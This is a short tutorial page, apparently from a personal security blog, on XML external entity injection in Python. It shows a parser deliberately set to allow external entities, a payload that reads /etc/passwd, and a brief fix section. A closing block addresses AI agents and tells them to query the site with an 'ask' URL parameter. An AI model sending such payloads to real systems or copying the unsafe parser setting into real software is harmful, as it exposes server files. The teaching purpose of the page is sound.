# XML

## Exploitation

The example below is a backend code vulnerable to xml code injection

```
from xml.dom.pulldom import parseString
from xml.sax import make_parser
from xml.sax.handler import feature_external_ges

# This 2 only in python 3 to allow external sources
parser = make_parser()
parser.setFeature(feature_external_ges, True)


doc = parseString(input, parser=parser)
for event, node in doc:
    doc.expandNode(node)
    return(node.toxml())
```

XML payload used to exploit

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM
  "file:///etc/passwd">
]>
<foo>
  &xxe;
</foo>
```

## Fix

In python 2 the fix is do not allow untrusted sources such as user inputs or random file uploads.

In python 3, the library introduced fixes to many security issues and the external sources need to be enabled explicitly as a new parser, avoid that.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.egonzalez.org/hacking/index/python-vulnerabilities/data-deserialization/xml.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
